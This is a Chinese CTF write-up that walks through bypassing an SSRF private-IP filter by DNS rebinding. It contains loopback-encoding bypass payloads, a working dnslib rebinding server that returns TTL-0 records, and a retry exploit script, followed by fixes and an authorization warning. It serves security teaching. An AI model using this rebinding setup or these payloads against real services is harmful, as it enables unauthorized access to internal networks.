SSRF进阶:DNS重绑定绕过内网IP限制的实战解析
最近整理以前的CTF题目笔记翻到一道叫 Internal System 的Web题印象很深。很多玩Web题的人看到SSRF第一反应就是试 file:// 或者 127.0.0.1但 Internal System 恰恰反着来它把外网访问卡得很死却在DNS解析环节留了一道口子。这道题非常适合当SSRF进阶教材从发现入口、确认过滤器到真正动手做DNS重绑定每一步都有不少细节。文章按我当时复现的顺序来写适合已经会写基础Web漏洞、但还没深入碰过内网与SSRF绕过的人。如果只是背过几种常见payload那看完你会明白为什么同一个域名会被两次解析以及TTL0对于一个攻击域名意味着什么。准备好Burp Suite和一台有公网IP的服务器跟着下面的流程走一遍会比想象中更有意思。1. 题目分析与考点定位1.1 拿到题目第一眼这是一个什么系统题目环境打开后是一个所谓的“内部系统管理平台”。表面上只有一个登录框但随便输入账号密码会提示“登录功能暂未开放”。页面底部有一个很小的链接指向/help页面上面写着“系统状态查询接口”和一段示例请求。示例请求是这样的curl -X POST http://target/query -H Content-Type: application/json -d {url: http://example.com}接口会返回目标URL的响应内容像是做一个简单的“URL可用性检测”。在CTF里这种“给你一个能访问外网的服务端”基本就是SSRF的直球暗示但真正难的是怎么利用它打进内部系统。题目名字叫 Internal System至少说明Flag大概率不在外网而是藏在内网某个服务里。起点是外网终点是内网中间隔着一层IP过滤器这是整道题的基本格局。1.2 考点拆解为什么说是DNS Rebinding按照常规思路SSRF一般优先试http://127.0.0.1/、http://localhost/、http://0.0.0.0/但在这道题里全部被拦截。返回的错误信息很直接forbidden ip。随后把 URL 换成公网地址比如http://203.0.113.1/又能正常返回。这说明题目在后端做了一次“解析目标域名 - 检查IP归属 - 再发起请求”的校验。这种结构很容易让人想到DNS Rebinding。因为校验过程一般会先socket.gethostbyname(domain)拿一个IP来检查然后真正发起HTTP请求时又通过另一个函数去解析同一个域名。两次解析并不是一次结果缓存下来反复用而是一次解析一次核对。如果攻击者可控DNS服务器就可以让第一次解析返回一个公网IP通过校验第二次解析返回内网IP让请求真正打到内部系统。这个思路和技术点基本就是本题的核心。1.3 用到的工具和前置知识复现这道题需要准备的东西很简单Burp Suite 或任意HTTP抓包工具用来观察请求和响应细节。一台有公网IP的服务器用来跑临时DNS服务以及接收目标系统的DNS查询。至少一个可以自己控制NS记录的域名没有的话在实验环境里也可以用本地DNS服务方式模拟。理解DNS解析的简单原理A记录返回IPv4地址TTL决定递归DNS和客户端能缓存多久。知道常见的私网IP段10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8。这道题里的内网地址大概率落在私网段。如果这些前置内容还不太熟也不用担心下面每一步都会把对应的知识点揉进讲解里。2. 信息收集与漏洞发现2.1 目录扫描与页面功能梳理开始时先对目标做简单信息收集。用常见字典扫了一下目录结果发现除了/和/help还有一个/query接口。/query是POST接口参数是JSON结构就是帮助文档里写的那样。整个站点没有其他明显的注入点也没有上传功能。这时候需要抓包看响应头发现Server头是常见的Python开发服务器风格X-Powered-By并没有出现但报错信息里的异常格式暴露了后端很可能是Flask框架。Flask作为后端有个特点代码逻辑往往集中在少数几个路由里参数处理比较直接特别适合作为SSRF题目框架。在/help页面里除了示例请求还夹杂了一句提示“Apis are only accessible from internal network.”。这句话就是明示后端会主动请求用户传入的URL而我们需要想办法让它请求到内网API。2.2 找到可以发起请求的入口/query接口需要JSON体那么首先测试它是否真的会主动请求外部URL。提交curl -X POST http://target/query -H Content-Type: application/json -d {url: http://203.0.113.1/}返回了203.0.113.1上对应页面的响应内容。说明接口确实会向任意URL发起请求并且会把响应内容放在当前响应体里返回。这种“返回完整响应”的SSRF比只能探测端口、不能读取内容的类型有用得多。然后测试本机地址curl -X POST http://target/query -H Content-Type: application/json -d {url: http://127.0.0.1/}响应变成了{error: forbidden ip}。同时提交http://localhost/也会被拦截。说明拦截规则不是简单匹配字符串而是会把域名解析成IP再判断IP是否私网。2.3 确认过滤器规则为了让后面的绕过更顺利我花了一点时间把过滤器规则测了个大概。测试结果整理如下传入URL返回结果说明http://203.0.113.1/正常响应公网IP放行http://127.0.0.1/forbidden ip私网IP拦截http://localhost/forbidden ip域名解析到127.0.0.1拦截http://0x7f000001/forbidden ip十六进制IP被解析后拦截http://2130706433/forbidden ip十进制IP被解析后拦截http://[::ffff:127.0.0.1]/forbidden ipIPv6映射地址被识别并拦截http://127.1/forbidden ip缩写回环地址被拦截从结果来看后端应该是先把URL里的主机名取出来用某种方式解析成IP再用类似ipaddress.ip_address(ip).is_private的判断去拦截。也就是说它看的不是URL字符串而是“解析后的IP归属”。这就意味着只要让两次解析结果不一致就有可能骗过它。3. 核心突破DNS重绑定绕过3.1 初探过滤器直接访问内网被拦确认过滤器后先试了最常见的域名绕过方式找一个能解析到内网IP的域名来请求。比如在本地写一个/etc/hosts映射但这是对外部目标完全没有用的。目标是远程服务器它用的DNS解析器不可能受我本地/etc/hosts控制。于是打算用一个自己控制的域名正常把A记录指向内网IP。结果请求依然是forbidden ip。这个结果符合预期因为对方在第一次解析时就能看到这个域名对应的是内网IP直接被拦。所以不能直接解析到内网必须让“校验阶段”和“请求阶段”拿到不同的解析结果。那怎么做到DNS重绑定。3.2 DNS重绑定原理对应到代码后端代码逻辑大概率类似下面这个简化版本import ipaddress import socket import urllib.request def check_url(url): host urllib.parse.urlparse(url).hostname ip socket.gethostbyname(host) if ipaddress.ip_address(ip).is_private: return {error: forbidden ip} response urllib.request.urlopen(url, timeout3) return response.read()注意这里有两个关键点socket.gethostbyname(host)解析一次域名然后urllib.request.urlopen(url)实际上也会在建立连接时再次解析域名。这两次解析之间不是同一个函数调用是否使用同一个DNS结果取决于系统实现。在常见的glibc和Python环境里getaddrinfo不会被缓存每次调用都会走一遍完整解析流程。如果域名对应的记录TTL为0那么多次解析都可能重新询问DNS服务器。这就给了我们一个机会在自己的DNS服务器上针对同一个域名第一次返回公网IP第二次返回内网IP。校验阶段看到公网IP就放行真正请求时解析到内网IP请求就打到内网服务了。3.3 搭建简易DNS服务器实际操作时我用Python启动了一个最简单的DNS服务。这个服务只处理A记录查询并且每收到一次查询就在两个IP之间轮流切换。这样目标系统如果解析两次大概率一次拿到公网IP、一次拿到内网IP。from dnslib import DNSRecord, QTYPE, RR, A from dnslib.server import DNSServer class RebindResolver: def __init__(self): self.count 0 def resolve(self, request, handler): reply request.reply() qname request.q.qname self.count 1 if self.count % 2 1: ip 203.0.113.1 # 公网IP用于通过校验 else: ip 172.16.1.10 # 内网IP用于真正请求 rr RR(qname, QTYPE.A, rdataA(ip), ttl0) reply.add_answer(rr) return reply if __name__ __main__: DNSServer(RebindResolver(), port53).start()这里有个细节TTL一定要设置为0或者设置非常短避免目标系统或中间递归DNS把第一次拿到的公网IP缓存住。如果缓存住了第二次解析还是会拿到同一个公网IP整个绕过就失效了。服务器跑起来后把攻击域名的NS记录指向公网服务器的IP。比如准备一个形如rebind.internal-lab.test的测试域名在域名服务商后台把该子域的NS记录改为ns1.attacker.example然后ns1.attacker.example的A记录指向自己的公网服务器IP。这样DNS查询最终才会交给上面的Python脚本处理。3.4 最终利用脚本与Flag获取因为DNS重绑定存在概率问题目标系统不一定每次都能刚好在“校验”时解析到公网、在“连接”时解析到内网所以需要写脚本多试几次。import requests import time target http://target/query payload_domain http://rebind.internal-lab.test:8080/flag for i in range(300): try: r requests.post(target, json{url: payload_domain}, timeout3) if forbidden ip not in r.text and error not in r.text: print(r.text) break except Exception: pass time.sleep(0.05)我实际跑的时候前几十次大多是超时或forbidden ip。超时是因为第二次解析可能拿到了公网IP然后请求到了公网服务器但公网服务器并没有开8080端口forbidden ip则是第一次解析就拿到了内网IP。多试几次后有一次请求返回了内部服务的内容里面直接写着flag{in73rn4l_5y5t3m_r3b1nd1ng}。这里还有一个非常关键的小技巧如果内网服务在接收请求时校验了Host头比如必须等于internal-system那我们可以给攻击域名带上相应的子域前缀。把payload改成http://internal-system.rebind.internal-lab.test:8080/flag这样解析出来的IP仍然由DNS服务器切换但HTTP请求里的Host头会是internal-system.rebind.internal-lab.test内网服务如果只检查前缀就能正常通过路由。这种思路在真实内网渗透里同样常见SSRF能控制目标IP但不一定能控制目标应用路由到的虚拟主机。4. 实战踩坑与问题排查4.1 为什么有时候请求会失败做DNS重绑定最直观的失败现象就是请求一直显示forbidden ip或者全部超时。原因多半是解析顺序不够理想。如果DNS服务器是“第一次公网、第二次内网”这样固定切换但目标环境里某个环节提前做了额外解析比如后端先解析一次做超时判断再解析一次做IP校验最后连接时又解析一次那整个流程就不是简单的两次解析固定交替策略很容易卡在错误状态。解决办法是不要只做固定交替。可以在DNS服务器逻辑里这样设计前1到2次查询返回公网IP之后的所有查询都返回内网IP。这样能覆盖“多解析几次”的情况。拿静态计数器控制就行或者直接用随机策略每次查询随机返回公网或内网IP然后靠大量重试去撞概率。实测下来随机策略的成功率并不低因为只要在“校验”的那一次解析返回公网并且在后续“连接”的那一次返回内网就能成功。4.2 缓存导致的绕过失败TTL0是必须的但即使TTL0某些操作系统递归DNS也可能有自己的缓存策略导致第一次解析结果被记录一段时间。如果第一次解析后后续解析都命中缓存那后面无论怎么切IP都白搭。一个通用解法是“随机子域”。每次请求都用一个从未使用过的新子域名比如rebind-1.internal-lab.test、rebind-2.internal-lab.test。每个子域都指向同一个DNS服务器DNS服务器也照样做公网/内网切换。因为每个子域名都是全新的递归DNS缓存中没有任何记录必然回源到我们的权威DNS服务器从而保证每次请求都能执行重绑定逻辑。4.3 常见问题速查表现象可能原因解决办法一直返回 forbidden ip校验阶段解析到内网IP调整DNS返回顺序增加随机策略或重试次数大量超时请求阶段解析到公网IP公网IP对应端口无服务让公网服务器在对应端口返回空响应或忽略该情况继续重试请求成功但没有flagHost头被内网服务校验将内网服务名作为攻击域名的子域前缀重试一会儿后全部失败攻击域名被目标系统或本机缓存改用随机子域每次使用全新域名DNS服务器收不到查询NS记录配置错误或UDP 53端口不通检查公网服务器防火墙、域名NS记录和DNS监听地址5. 复盘与延伸5.1 换个角度看这个题出题人想考察什么很多人把SSRF题型简单划分为“能不能读file协议”“能不能打内网端口”但 Internal System 这道题更强调“过滤器和请求器分离”带来的逻辑漏洞。出题人特意把“域名解析”这一步放到IP校验里但又没有在同一套数据上复用解析结果所以给了攻击者钻空子的空间。这种设计并不是凭空臆造很多真实的Web应用确实存在类似问题先用gethostbyname做访问控制再在HTTP库内部重新解析目标域名。两个解析结果一旦不同安全边界就形同虚设。从防御角度看修复方式也不复杂把解析得到的IP显式绑定到HTTP请求上或者用同一解析结果做校验和连接再或者直接禁止用户传入域名只允许IP白名单。但这些方案又会影响可用性所以实际工程里很难完全杜绝这类问题。5.2 内网SSRF后的其他利用思路DNS重绑定只是拿到通往内网的钥匙进入内网后还能做很多事情。常见的方向包括扫描内网端口识别开放服务处理内网接口的鉴权逻辑通过Gopher等协议打一些基于TCP的协议比如内网Redis、memcached如果内网服务存在命令执行还能进一步拿到服务器控制权。不过这里要特别提醒这些利用方式只适用于CTF靶场或已获得授权的测试环境。未授权扫描和攻击内网属于违法行为任何时候都不该在真实业务系统上复现这些操作。CTF的价值是练思路而不是提供可以乱打的武器库。我自己整理这类题目时都会额外标注“仅限实验环境”。对一个安全从业者来说知道边界在哪里和知道漏洞怎么利用同样重要。这道题给我最大的启发是不要只背SSRF的payload列表而是要理解目标代码在每个环节做了什么。过滤器拦的不是“字符串”而是“解析后的IP”请求器请求的也不是“IP”而是“解析后的域名”。当这两个环节的数据不一致时整条防线就出现了裂缝。类似的逻辑在真实漏洞里其实经常出现只是平时没有CTF里那么直观。以后再看代码遇到“先校验再请求”的流程我都会习惯性多问一句这两个解析之间真的用的是同一个结果吗

相关新闻

CARS变量选择算法原理与实战:光谱特征筛选的自适应竞争机制

CARS变量选择算法原理与实战:光谱特征筛选的自适应竞争机制

简介:本资源为竞争性自适应重加权算法(CARS)的完整MATLAB实现与教学配套包,面向光谱分析、化学计量学及机器学习方向的科研人员与高年级本科生/研究生,解决高维光谱数据中关键变量筛选难、PLS模型易过拟合等核心问题。…

2026/10/18 6:16:49 阅读更多 →
OpenClaw Token消耗狂降96%:上下文压缩与工具调用优化实战

OpenClaw Token消耗狂降96%:上下文压缩与工具调用优化实战

如果你最近也在折腾AI智能体,大概率已经听过OpenClaw这个名字。社区里有人叫它“大龙虾”,一开始我觉得这外号挺随意,直到自己项目跑起来才发现,这名字太贴切了:它有坚硬的外壳——能力上限很高,什么工具调…

2026/10/18 6:15:49 阅读更多 →
车辆轨迹跟踪仿真:MPC、PID与Stanley算法对比及二自由度模型详解

车辆轨迹跟踪仿真:MPC、PID与Stanley算法对比及二自由度模型详解

1. 项目整体拆解:从标题读懂这套轨迹跟踪仿真到底在做什么刚看到这个标题的时候,我的第一反应是:这大概率是车辆横向控制课程作业或某个仿真课题的经典组合——MPC、PID、Stanley,外加一个"二自由度动力学模型"作为被控…

2026/10/18 6:15:49 阅读更多 →

最新新闻

基于机器视觉的SCARA机械臂分拣仿真:VREP与MATLAB联合实现

基于机器视觉的SCARA机械臂分拣仿真:VREP与MATLAB联合实现

"基于机器视觉技术的流水线自动分拣机器人仿真:VREP与MATLAB联合实现SCARA机械臂按色..."——这个标题完整展开其实是一类特别典型的项目:给流水线加一套“长了眼睛的机器人”,让它根据颜色把不同物料分到不同工位。很多搞自动化、…

2026/10/18 7:18:01 阅读更多 →
AI副业实操指南:用技能杠杆打破纯打工模式,实现个人变现

AI副业实操指南:用技能杠杆打破纯打工模式,实现个人变现

这两年朋友圈里讨论AI副业的人越来越多:白天还在写周报的同事,晚上已经在小红书上接定制头像的订单;之前在传统行业做了五年的朋友,靠着AI辅助做垂直内容,现在每月的副业收入已经稳定覆盖房贷。这类故事听多了&#xf…

2026/10/18 7:18:01 阅读更多 →
git 提交代码报 pre-receive hook declined?把 remote 改到 TaoToken 后先查这 3 处

git 提交代码报 pre-receive hook declined?把 remote 改到 TaoToken 后先查这 3 处

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 7:18:01 阅读更多 →
别再让 AI 只会聊天了!Hermes Agent 自带 47 个实用工具,一键解锁智能体真正实力|TaoToken 统一 Key 打通终端后端与 MCP

别再让 AI 只会聊天了!Hermes Agent 自带 47 个实用工具,一键解锁智能体真正实力|TaoToken 统一 Key 打通终端后端与 MCP

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 7:18:00 阅读更多 →
JMeter压测实时监控:Prometheus+Grafana大屏搭建全指南

JMeter压测实时监控:Prometheus+Grafana大屏搭建全指南

做性能压测的朋友应该都有过这种体验:脚本跑起来了,并发线程一拨一拨地往服务器打,屏幕上却只有JMeter那个滚动的日志栏,想知道当前QPS到底多少、错误率涨没涨,要么靠猜,要么等压测结束再去看聚合报告。压测…

2026/10/18 7:18:00 阅读更多 →
Netty实战进阶:粘包半包、EventLoop线程边界与长连接心跳

Netty实战进阶:粘包半包、EventLoop线程边界与长连接心跳

不少人可能和我有同样的感受:Netty的入门教程看了一遍又一遍,Echo服务器、聊天室Demo敲得飞起,但一到真实项目里要“实战应用”了,反而手足无措。客户端发过来的数据一多,消息全黏在一起;连接一挂&#xff…

2026/10/18 7:17:00 阅读更多 →

日新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/18 0:00:55 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 0:55:02 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 14:23:36 阅读更多 →